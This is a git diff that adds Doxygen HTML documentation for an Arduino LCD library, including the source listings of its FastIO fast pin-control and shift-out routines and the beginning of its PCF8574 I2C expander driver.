Parameters:
+ + + + + + +
dataRegister[in]Register of data pin - ignored if fast digital write is disabled
dataBit[in]Bit of data pin - Pin if fast digital write is disabled
clockRegister[in]Register of data pin - ignored if fast digital write is disabled
clockBit[in]Bit of data pin - Pin if fast digital write is disabled
bitOrder[in]bit order
+
+
+ +

Definition at line 108 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut1 (uint8_t pin,
uint8_t value,
boolean noLatch = false 
)
+
+
+

one wire shift out protocol needs initialisation (fio_shiftOut1_init)

+
Parameters:
+ + + +
pin[in]digital pin
value[in]value to shift out, last byte is ignored and always shifted out LOW
+
+
+ +

Definition at line 264 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut1 (fio_register shift1Register,
fio_bit shift1Bit,
uint8_t value,
boolean noLatch = false 
)
+
+
+

one wire shift out protocol needs initialisation (fio_shiftOut1_init)

+
Parameters:
+ + + + +
shift1Register[in]pins register
shift1Bit[in]pins bit
value[in]value to shift out, last byte is ignored and always shifted out LOW
+
+
+ +

Definition at line 190 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void fio_shiftOut1_init (fio_register shift1Register,
fio_bit shift1Bit 
)
+
+
+

initializes one wire shift out protocol Puts pin to HIGH state and delays until Capacitors are charged.

+
Parameters:
+ + + +
shift1Register[in]pins register
shift1Bit[in]pins bit
+
+
+ +

Definition at line 181 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void fio_shiftOut1_init (uint8_t pin)
+
+
+

initializes one wire shift out protocol Puts pin to HIGH state and delays until Capacitors are charged.

+
Parameters:
+ + +
pin[in]digital pin
+
+
+ +

Definition at line 176 of file FastIO.cpp.

+ +
+
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/_fast_i_o_8cpp_source.html b/libraries/LiquidCrystal/docs/html/_fast_i_o_8cpp_source.html new file mode 100644 index 0000000..af9f776 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_fast_i_o_8cpp_source.html @@ -0,0 +1,351 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Florian Fida on 20/01/12
+00003 // Copyright 2012 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //        http://creativecommons.org/licenses/by-sa/3.0/
+00006 //
+00007 // This software is furnished "as is", without technical support, and with no
+00008 // warranty, express or implied, as to its usefulness for any purpose.
+00009 // ---------------------------------------------------------------------------
+00010 // fio_shiftOut1 functions are based on Shif1 protocol developed by Roman Black 
+00011 // (http://www.romanblack.com/shift1.htm)
+00012 //
+00013 // Thread Safe: No
+00014 // Extendable: Yes
+00015 //
+00016 // @file FastIO.h
+00017 // This file implements basic fast IO routines.
+00018 // 
+00019 // @brief 
+00020 //
+00021 // @version API 1.0.0
+00022 //
+00023 // @author Florian Fida -
+00024 //
+00025 // 2012-03-16 bperrybap updated fio_shiftout() to be smaller & faster
+00026 //
+00027 // @todo:
+00028 //  support chipkit:
+00029 // (https://github.com/chipKIT32/chipKIT32-MAX/blob/master/hardware/pic32/
+00030 //   cores/pic32/wiring_digital.c)
+00031 // ---------------------------------------------------------------------------
+00032 #include "FastIO.h"
+00033 
+00034 
+00035 fio_register fio_pinToOutputRegister(uint8_t pin, uint8_t initial_state)
+00036 {
+00037         pinMode(pin, OUTPUT);
+00038    
+00039         if(initial_state != SKIP) 
+00040    {
+00041       digitalWrite(pin, initial_state); // also turns off pwm timer
+00042    }
+00043 #ifdef FIO_FALLBACK
+00044         //  just wasting memory if not using fast io...
+00045         return 0;
+00046 #else
+00047         return portOutputRegister(digitalPinToPort(pin));
+00048 #endif
+00049 }
+00050 
+00051 
+00052 fio_register fio_pinToInputRegister(uint8_t pin)
+00053 {
+00054         pinMode(pin, INPUT);
+00055         digitalWrite(pin, LOW); // also turns off pwm timer and pullup
+00056 #ifdef FIO_FALLBACK
+00057         //  just wasting memory if not using fast io...
+00058         return 0;
+00059 #else
+00060         return portInputRegister(digitalPinToPort(pin));
+00061 #endif
+00062 }
+00063 
+00064 
+00065 fio_bit fio_pinToBit(uint8_t pin)
+00066 {
+00067 #ifdef FIO_FALLBACK
+00068         // (ab)use the bit variable to store the pin
+00069         return pin;
+00070 #else
+00071         return digitalPinToBitMask(pin);
+00072 #endif
+00073 }
+00074 
+00075 
+00076 void fio_digitalWrite(fio_register pinRegister, fio_bit pinBit, uint8_t value) 
+00077 {
+00078 #ifdef FIO_FALLBACK
+00079         digitalWrite(pinBit, value);
+00080 #else
+00081    ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00082    {
+00083       if(value == LOW)
+00084       {
+00085          fio_digitalWrite_LOW(pinRegister,pinBit);
+00086       }
+00087       else
+00088       {
+00089          fio_digitalWrite_HIGH(pinRegister,pinBit);
+00090       }
+00091    }
+00092 #endif
+00093 }
+00094 
+00095 int fio_digitalRead(fio_register pinRegister, uint8_t pinBit)
+00096 {
+00097 #ifdef FIO_FALLBACK
+00098         return digitalRead (pinBit);
+00099 #else
+00100         if (*pinRegister & pinBit)
+00101    {
+00102       return HIGH;
+00103    }
+00104         return LOW;
+00105 #endif
+00106 }
+00107 
+00108 void fio_shiftOut (fio_register dataRegister, fio_bit dataBit, 
+00109                    fio_register clockRegister, fio_bit clockBit, 
+00110                    uint8_t value, uint8_t bitOrder)
+00111 {
+00112         // # disable interrupts
+00113         int8_t i;
+00114    
+00115         if(bitOrder == LSBFIRST)
+00116         {
+00117                 for(i = 0; i < 8; i++)
+00118                 {
+00119                         ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00120                         {
+00121                                 if(value & 1)
+00122             {
+00123                fio_digitalWrite_HIGH(dataRegister, dataBit);
+00124                                 }
+00125             else
+00126             {
+00127                fio_digitalWrite_LOW(dataRegister, dataBit);
+00128             }
+00129             value >>= 1;
+00130                                 fio_digitalWrite_HIGH (clockRegister, clockBit);
+00131                                 fio_digitalWrite_LOW (clockRegister,clockBit);
+00132                         }
+00133                 }
+00134       
+00135         }
+00136         else
+00137         {
+00138                 for(i = 0; i < 8; i++)
+00139                 {
+00140                         ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00141                         {
+00142                                 if(value & 0x80)
+00143             {
+00144                fio_digitalWrite_HIGH(dataRegister, dataBit);
+00145                                 }
+00146             else
+00147             {
+00148                fio_digitalWrite_LOW(dataRegister, dataBit);
+00149             }
+00150                                 value <<= 1;
+00151                                 fio_digitalWrite_HIGH (clockRegister, clockBit);
+00152                                 fio_digitalWrite_LOW (clockRegister,clockBit);
+00153                         }
+00154                 }
+00155         }
+00156 }
+00157 
+00158 
+00159 void fio_shiftOut(fio_register dataRegister, fio_bit dataBit, 
+00160                   fio_register clockRegister, fio_bit clockBit)
+00161 {
+00162    ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00163    {
+00164       // shift out 0x0 (B00000000) fast, byte order is irrelevant
+00165       fio_digitalWrite_LOW (dataRegister, dataBit);
+00166       
+00167       for(uint8_t i = 0; i<8; ++i)
+00168       {
+00169          fio_digitalWrite_HIGH (clockRegister, clockBit);
+00170          fio_digitalWrite_SWITCH (clockRegister, clockBit);
+00171       }
+00172    }
+00173 }
+00174 
+00175 
+00176 void fio_shiftOut1_init(uint8_t pin)
+00177 {
+00178         fio_shiftOut1_init(fio_pinToOutputRegister(pin,HIGH),fio_pinToBit(pin));
+00179 }
+00180 
+00181 void fio_shiftOut1_init(fio_register shift1Register, fio_bit shift1Bit)
+00182 {
+00183         // Make sure that capacitors are charged
+00184         // 300us is an educated guess...
+00185         fio_digitalWrite(shift1Register,shift1Bit,HIGH);
+00186         delayMicroseconds(300);
+00187 }
+00188 
+00189 
+00190 void fio_shiftOut1(fio_register shift1Register, fio_bit shift1Bit, uint8_t value, 
+00191                    boolean noLatch)
+00192 {
+00193         /*
+00194          * this function are based on Shif1 protocol developed by Roman Black 
+00195     *    (http://www.romanblack.com/shift1.htm)
+00196          *
+00197          * test sketches:
+00198          *      http://pastebin.com/raw.php?i=2hnC9v2Z
+00199          *      http://pastebin.com/raw.php?i=bGg4DhXQ
+00200          *      http://pastebin.com/raw.php?i=tg1ZFiM5
+00201          *    http://pastebin.com/raw.php?i=93ExPDD3 - cascading
+00202          * tested with:
+00203          *      TPIC6595N - seems to work fine (circuit: http://www.3guys1laser.com/
+00204     *                   arduino-one-wire-shift-register-prototype)
+00205          *      7HC595N
+00206          */
+00207    
+00208         // iterate but ignore last bit (is it correct now?)
+00209         for(int8_t i = 7; i>=0; --i)
+00210    {
+00211       
+00212                 // assume that pin is HIGH (smokin' pot all day... :) - requires 
+00213       // initialization
+00214                 if(value & _BV(i))
+00215       {
+00216          ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00217          {
+00218             // HIGH = 1 Bit
+00219             fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,LOW);
+00220             //hold pin LOW for 1us - done! :)
+00221             fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,HIGH);
+00222          } // end critical section
+00223          //hold pin HIGH for 15us
+00224          delayMicroseconds(15);
+00225                 }
+00226       else
+00227       {
+00228          ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00229          {
+00230             // LOW = 0 Bit
+00231             fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,LOW);
+00232             // hold pin LOW for 15us
+00233             delayMicroseconds(15);
+00234             fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,HIGH);
+00235          } // end critical section
+00236          
+00237          // hold pin HIGH for 30us
+00238          delayMicroseconds(30);         
+00239                 }
+00240                 if(!noLatch && i==1)
+00241       {
+00242          break;
+00243       }
+00244         }
+00245    
+00246         if(!noLatch)
+00247    {
+00248       ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00249       {
+00250          // send last bit (=LOW) and Latch command
+00251          fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,LOW);
+00252       } // end critical section
+00253       delayMicroseconds(199);           // Hold pin low for 200us
+00254       
+00255       ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00256       {
+00257          fio_digitalWrite_HIGH(shift1Register,shift1Bit);
+00258       } // end critical section
+00259                 delayMicroseconds(299);   // Hold pin high for 300us and leave it that 
+00260       // way - using explicit HIGH here, just in case.
+00261         }
+00262 }
+00263 
+00264 void fio_shiftOut1(uint8_t pin, uint8_t value, boolean noLatch)
+00265 {
+00266         fio_shiftOut1(fio_pinToOutputRegister(pin, SKIP),fio_pinToBit(pin),value, noLatch);
+00267 }
+
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/_fast_i_o_8h.html b/libraries/LiquidCrystal/docs/html/_fast_i_o_8h.html new file mode 100644 index 0000000..b840b04 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_fast_i_o_8h.html @@ -0,0 +1,786 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+Defines | +Typedefs | +Functions
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h File Reference
+
+
+
#include <WProgram.h>
+#include <pins_arduino.h>
+#include <inttypes.h>
+
+

Go to the source code of this file.

+ + + + + + + + + + + + + + + + + + + + + + + + + +

+Defines

#define ATOMIC_BLOCK(dummy)   if(true)
#define ATOMIC_RESTORESTATE
#define fio_digitalWrite_HIGH(reg, bit)   digitalWrite(bit,HIGH)
#define fio_digitalWrite_LOW(reg, bit)   digitalWrite(bit,LOW)
#define fio_digitalWrite_SWITCH(reg, bit)   digitalWrite(bit, !digitalRead(bit))
#define fio_digitalWrite_SWITCHTO(reg, bit, val)   digitalWrite(bit,val);
#define FIO_FALLBACK
#define SKIP   0x23

+Typedefs

typedef uint8_t fio_bit
typedef uint8_t fio_register

+Functions

int fio_digitalRead (fio_register pinRegister, fio_bit pinBit)
void fio_digitalWrite (fio_register pinRegister, fio_bit pinBit, uint8_t value)
fio_bit fio_pinToBit (uint8_t pin)
fio_register fio_pinToInputRegister (uint8_t pin)
fio_register fio_pinToOutputRegister (uint8_t pin, uint8_t initial_state=LOW)
void fio_shiftOut (fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, fio_bit clockBit)
void fio_shiftOut (fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, fio_bit clockBit, uint8_t value, uint8_t bitOrder)
void fio_shiftOut1 (fio_register shift1Register, fio_bit shift1Bit, uint8_t value, boolean noLatch=false)
void fio_shiftOut1 (uint8_t pin, uint8_t value, boolean noLatch=false)
void fio_shiftOut1_init (fio_register shift1Register, fio_bit shift1Bit)
void fio_shiftOut1_init (uint8_t pin)
+

Define Documentation

+ +
+
+ + + + + + + + +
#define ATOMIC_BLOCK( dummy)   if(true)
+
+
+ +

Definition at line 58 of file FastIO.h.

+ +
+
+ +
+
+ + + + +
#define ATOMIC_RESTORESTATE
+
+
+ +

Definition at line 59 of file FastIO.h.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
#define fio_digitalWrite_HIGH( reg,
 bit 
)   digitalWrite(bit,HIGH)
+
+
+

This is where the magic happens that makes things fast. Implemented as preprocessor directives to force inlining SWITCH is fast for FIO but probably slow for FIO_FALLBACK so SWITCHTO is recommended if the value is known.

+ +

Definition at line 143 of file FastIO.h.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
#define fio_digitalWrite_LOW( reg,
 bit 
)   digitalWrite(bit,LOW)
+
+
+ +

Definition at line 144 of file FastIO.h.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
#define fio_digitalWrite_SWITCH( reg,
 bit 
)   digitalWrite(bit, !digitalRead(bit))
+
+
+ +

Definition at line 145 of file FastIO.h.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
#define fio_digitalWrite_SWITCHTO( reg,
 bit,
 val 
)   digitalWrite(bit,val);
+
+
+ +

Definition at line 146 of file FastIO.h.

+ +
+
+ +
+
+ + + + +
#define FIO_FALLBACK
+
+
+ +

Definition at line 57 of file FastIO.h.

+ +
+
+ +
+
+ + + + +
#define SKIP   0x23
+
+
+ +

Definition at line 42 of file FastIO.h.

+ +
+
+

Typedef Documentation

+ +
+
+ + + + +
typedef uint8_t fio_bit
+
+
+ +

Definition at line 60 of file FastIO.h.

+ +
+
+ +
+
+ + + + +
typedef uint8_t fio_register
+
+
+ +

Definition at line 61 of file FastIO.h.

+ +
+
+

Function Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + +
int fio_digitalRead (fio_register pinRegister,
fio_bit pinBit 
)
+
+
+

direct digital read without any checks falls back to normal digitalRead if fast io is disabled

+
Parameters:
+ + + +
pinRegister[in]Register - ignored if fast io is disabled
pinBit[in]Bit - Pin if fast io is disabled
+
+
+
Returns:
Value read from pin
+ +

Definition at line 95 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
void fio_digitalWrite (fio_register pinRegister,
fio_bit pinBit,
uint8_t value 
)
+
+
+

direct digital write without any checks falls back to normal digitalWrite if fast io is disabled

+
Parameters:
+ + + + +
pinRegister[in]Register - ignored if fast digital write is disabled
pinBit[in]Bit - Pin if fast digital write is disabled
value[in]desired output
+
+
+ +

Definition at line 76 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
fio_bit fio_pinToBit (uint8_t pin)
+
+
+

Find the bit which belongs to specified pin if fast digitalWrite is disabled this function returns the pin

+
Parameters:
+ + +
pin[in]Number of a digital pin
+
+
+
Returns:
Bit
+ +

Definition at line 65 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
fio_register fio_pinToInputRegister (uint8_t pin)
+
+
+

Get the input register for specified pin. if fast digital IO is disabled this function returns NULL

+
Parameters:
+ + +
pin[in]Number of a digital pin
+
+
+
Returns:
Register
+ +

Definition at line 52 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
fio_register fio_pinToOutputRegister (uint8_t pin,
uint8_t initial_state = LOW 
)
+
+
+

Get the output register for specified pin. if fast digital IO is disabled this function returns NULL

+
Parameters:
+ + +
pin[in]Number of a digital pin
+
+
+
Returns:
Register
+ +

Definition at line 35 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut (fio_register dataRegister,
fio_bit dataBit,
fio_register clockRegister,
fio_bit clockBit 
)
+
+
+

faster shift out clear using fast digital write falls back to normal digitalWrite if fastio is disabled

+
Parameters:
+ + + + + +
dataRegister[in]Register of data pin - ignored if fast digital write is disabled
dataBit[in]Bit of data pin - Pin if fast digital write is disabled
clockRegister[in]Register of data pin - ignored if fast digital write is disabled
clockBit[in]Bit of data pin - Pin if fast digital write is disabled
+
+
+ +

Definition at line 159 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut (fio_register dataRegister,
fio_bit dataBit,
fio_register clockRegister,
fio_bit clockBit,
uint8_t value,
uint8_t bitOrder 
)
+
+
+

faster shift out using fast digital write falls back to normal digitalWrite if fastio is disabled

+
Parameters:
+ + + + + + +
dataRegister[in]Register of data pin - ignored if fast digital write is disabled
dataBit[in]Bit of data pin - Pin if fast digital write is disabled
clockRegister[in]Register of data pin - ignored if fast digital write is disabled
clockBit[in]Bit of data pin - Pin if fast digital write is disabled
bitOrder[in]bit order
+
+
+ +

Definition at line 108 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut1 (fio_register shift1Register,
fio_bit shift1Bit,
uint8_t value,
boolean noLatch = false 
)
+
+
+

one wire shift out protocol needs initialisation (fio_shiftOut1_init)

+
Parameters:
+ + + + +
shift1Register[in]pins register
shift1Bit[in]pins bit
value[in]value to shift out, last byte is ignored and always shifted out LOW
+
+
+ +

Definition at line 190 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut1 (uint8_t pin,
uint8_t value,
boolean noLatch = false 
)
+
+
+

one wire shift out protocol needs initialisation (fio_shiftOut1_init)

+
Parameters:
+ + + +
pin[in]digital pin
value[in]value to shift out, last byte is ignored and always shifted out LOW
+
+
+ +

Definition at line 264 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void fio_shiftOut1_init (fio_register shift1Register,
fio_bit shift1Bit 
)
+
+
+

initializes one wire shift out protocol Puts pin to HIGH state and delays until Capacitors are charged.

+
Parameters:
+ + + +
shift1Register[in]pins register
shift1Bit[in]pins bit
+
+
+ +

Definition at line 181 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void fio_shiftOut1_init (uint8_t pin)
+
+
+

initializes one wire shift out protocol Puts pin to HIGH state and delays until Capacitors are charged.

+
Parameters:
+ + +
pin[in]digital pin
+
+
+ +

Definition at line 176 of file FastIO.cpp.

+ +
+
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/_fast_i_o_8h_source.html b/libraries/LiquidCrystal/docs/html/_fast_i_o_8h_source.html new file mode 100644 index 0000000..b17f76f --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_fast_i_o_8h_source.html @@ -0,0 +1,209 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Florian Fida on 20/01/12
+00003 // Copyright 2012 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //        http://creativecommons.org/licenses/by-sa/3.0/
+00006 //
+00007 // This software is furnished "as is", without technical support, and with no
+00008 // warranty, express or implied, as to its usefulness for any purpose.
+00009 // ---------------------------------------------------------------------------
+00010 // fio_shiftOut1 functions are based on Shif1 protocol developed by Roman Black 
+00011 // (http://www.romanblack.com/shift1.htm)
+00012 //
+00013 // Thread Safe: No
+00014 // Extendable: Yes
+00015 //
+00016 // @file FastIO.h
+00017 // This file implements basic fast IO routines.
+00018 // 
+00019 // @brief 
+00020 //
+00021 // @version API 1.0.0
+00022 //
+00023 // @author Florian Fida -
+00024 // 2012-03-16 bperrybap mods for chipkit32 (pic32) Arduino
+00025 //  support chipkit:
+00026 // (https://github.com/chipKIT32/chipKIT32-MAX/blob/master/hardware/pic32/
+00027 //   cores/pic32/wiring_digital.c)
+00028 // ---------------------------------------------------------------------------
+00029 #ifndef _FAST_IO_H_
+00030 #define _FAST_IO_H_
+00031 
+00032 #if (ARDUINO <  100)
+00033 #include <WProgram.h>
+00034 #else
+00035 #include <Arduino.h>
+00036 #endif
+00037 
+00038 #include <pins_arduino.h> // pleasing sanguino core
+00039 #include <inttypes.h>
+00040 
+00041 
+00042 #define SKIP 0x23
+00043 
+00044 #if defined (__AVR__)
+00045 #include <util/atomic.h> // for critical section management
+00046 typedef uint8_t fio_bit;
+00047 typedef volatile uint8_t *fio_register;
+00048 
+00049 
+00050 #elif defined(__PIC32MX__)
+00051 typedef uint32_t fio_bit;
+00052 typedef volatile uint32_t *fio_register;
+00053 
+00054 
+00055 #else
+00056 // fallback to Arduino standard digital i/o routines
+00057 #define FIO_FALLBACK
+00058 #define ATOMIC_BLOCK(dummy) if(true)
+00059 #define ATOMIC_RESTORESTATE
+00060 typedef uint8_t fio_bit;
+00061 typedef uint8_t fio_register;
+00062 #endif
+00063 
+00064 
+00065 
+00066 #if !defined(FIO_FALLBACK) && !defined(ATOMIC_BLOCK)
+00067 /*
+00068  * Define an ATOMIC_BLOCK that implements ATOMIC_FORCEON type
+00069  * Using the portable Arduino interrupts() and noInterrupts()
+00070  */
+00071 #define ATOMIC_RESTORESTATE ATOMIC_FORCEON // sorry, no support for save/restore yet.
+00072 #define ATOMIC_FORCEON uint8_t sreg_save \
+00073               __attribute__((__cleanup__(__iSeiParam))) = 0
+00074 
+00075 static __inline__ uint8_t __iCliRetVal(void)
+00076 {
+00077         noInterrupts();
+00078         return(1);
+00079 }
+00080 static __inline__ void __iSeiParam(const uint8_t *__s)
+00081 {
+00082         interrupts();
+00083 }
+00084 #define ATOMIC_BLOCK(type) for(type,  __Todo = __iCliRetVal(); __Todo; __Todo = 0)
+00085 
+00086 #endif // end of block to create compatible ATOMIC_BLOCK()
+00087 
+00088 
+00089 
+00097 fio_register fio_pinToOutputRegister(uint8_t pin, uint8_t initial_state = LOW);
+00098 
+00106 fio_register fio_pinToInputRegister(uint8_t pin);
+00107 
+00115 fio_bit fio_pinToBit(uint8_t pin);
+00116 
+00117 
+00127 // __attribute__ ((always_inline)) /* let the optimizer decide that for now */
+00128 void fio_digitalWrite ( fio_register pinRegister, fio_bit pinBit, uint8_t value );
+00129 
+00136 #ifndef FIO_FALLBACK
+00137 #define fio_digitalWrite_LOW(reg,bit) *reg &= ~bit
+00138 #define fio_digitalWrite_HIGH(reg,bit) *reg |= bit
+00139 #define fio_digitalWrite_SWITCH(reg,bit) *reg ^= bit
+00140 #define fio_digitalWrite_SWITCHTO(reg,bit,val) fio_digitalWrite_SWITCH(reg,bit)
+00141 #else
+00142 // reg -> dummy NULL, bit -> pin
+00143 #define fio_digitalWrite_HIGH(reg,bit) digitalWrite(bit,HIGH)
+00144 #define fio_digitalWrite_LOW(reg,bit) digitalWrite(bit,LOW)
+00145 #define fio_digitalWrite_SWITCH(reg,bit) digitalWrite(bit, !digitalRead(bit))
+00146 #define fio_digitalWrite_SWITCHTO(reg,bit,val) digitalWrite(bit,val);
+00147 #endif
+00148 
+00158 int fio_digitalRead ( fio_register pinRegister, fio_bit pinBit );
+00159 
+00171 void fio_shiftOut( fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, 
+00172                   fio_bit clockBit, uint8_t value, uint8_t bitOrder );
+00173 
+00184 void fio_shiftOut(fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, fio_bit clockBit);
+00185 
+00194 void fio_shiftOut1(fio_register shift1Register, fio_bit shift1Bit, uint8_t value, boolean noLatch = false);
+00202 void fio_shiftOut1(uint8_t pin, uint8_t value, boolean noLatch = false);
+00210 void fio_shiftOut1_init(fio_register shift1Register, fio_bit shift1Bit);
+00217 void fio_shiftOut1_init(uint8_t pin);
+00218 
+00219 #endif // FAST_IO_H
+
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/_i2_c_i_o_8cpp.html b/libraries/LiquidCrystal/docs/html/_i2_c_i_o_8cpp.html new file mode 100644 index 0000000..36e213d --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_i2_c_i_o_8cpp.html @@ -0,0 +1,92 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.cpp File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.cpp File Reference
+
+
+
#include <WProgram.h>
+#include <inttypes.h>
+#include <../Wire/Wire.h>
+#include "I2CIO.h"
+
+

Go to the source code of this file.

+ +
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/_i2_c_i_o_8cpp_source.html b/libraries/LiquidCrystal/docs/html/_i2_c_i_o_8cpp_source.html new file mode 100644 index 0000000..332da7b --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_i2_c_i_o_8cpp_source.html @@ -0,0 +1,282 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.cpp Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file I2CIO.h
+00013 // This file implements a basic IO library using the PCF8574 I2C IO Expander
+00014 // chip.
+00015 // 
+00016 // @brief 
+00017 // Implement a basic IO library to drive the PCF8574* I2C IO Expander ASIC.
+00018 // The library implements basic IO general methods to configure IO pin direction
+00019 // read and write uint8_t operations and basic pin level routines to set or read
+00020 // a particular IO port.
+00021 //
+00022 //
+00023 // @version API 1.0.0
+00024 //
+00025 // @author F. Malpartida - fmalpartida@gmail.com
+00026 // ---------------------------------------------------------------------------
+00027 #if (ARDUINO <  100)
+00028 #include <WProgram.h>
+00029 #else
+00030 #include <Arduino.h>
+00031 #endif
+00032 
+00033 #include <inttypes.h>
+00034 
+00035 #include <../Wire/Wire.h>
+00036 #include "I2CIO.h"
+00037 
+00038 // CLASS VARIABLES
+00039 // ---------------------------------------------------------------------------
+00040 
+00041 
+00042 // CONSTRUCTOR
+00043 // ---------------------------------------------------------------------------
+00044 I2CIO::I2CIO ( )
+00045 {
+00046    _i2cAddr     = 0x0;
+00047    _dirMask     = 0xFF;    // mark all as INPUTs
+00048    _shadow      = 0x0;     // no values set
+00049    _initialised = false;
+00050 }
+00051 
+00052 // PUBLIC METHODS
+00053 // ---------------------------------------------------------------------------
+00054 
+00055 //
+00056 // begin
+00057 int I2CIO::begin (  uint8_t i2cAddr )
+00058 {
+00059    _i2cAddr = i2cAddr;
+00060    
+00061    Wire.begin ( );
+00062       
+00063    _initialised = Wire.requestFrom ( _i2cAddr, (uint8_t)1 );
+00064 
+00065 #if (ARDUINO <  100)
+00066    _shadow = Wire.receive ();
+00067 #else
+00068    _shadow = Wire.read (); // Remove the byte read don't need it.
+00069 #endif
+00070    
